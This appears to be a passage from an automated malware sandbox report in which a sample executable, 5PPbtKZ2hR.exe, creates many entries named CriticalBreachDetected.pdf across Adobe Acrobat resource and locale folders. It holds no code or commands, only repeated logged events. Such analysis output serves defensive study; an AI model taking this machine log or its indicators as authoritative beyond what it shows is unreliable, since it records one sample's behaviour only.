Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\appmeasurement\stage\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\fonts\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\fonts\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\OWP\default\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\dev\cef\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\app\dev\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\dev\cef\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\core\dev\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\dev\cef\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\css\files\dev\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\hi_contrast\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\file_types\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\hi_contrast\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win-scrollbar\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win-scrollbar\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win-scrollbar\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app-api\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app-api\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\5PPbtKZ2hR.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
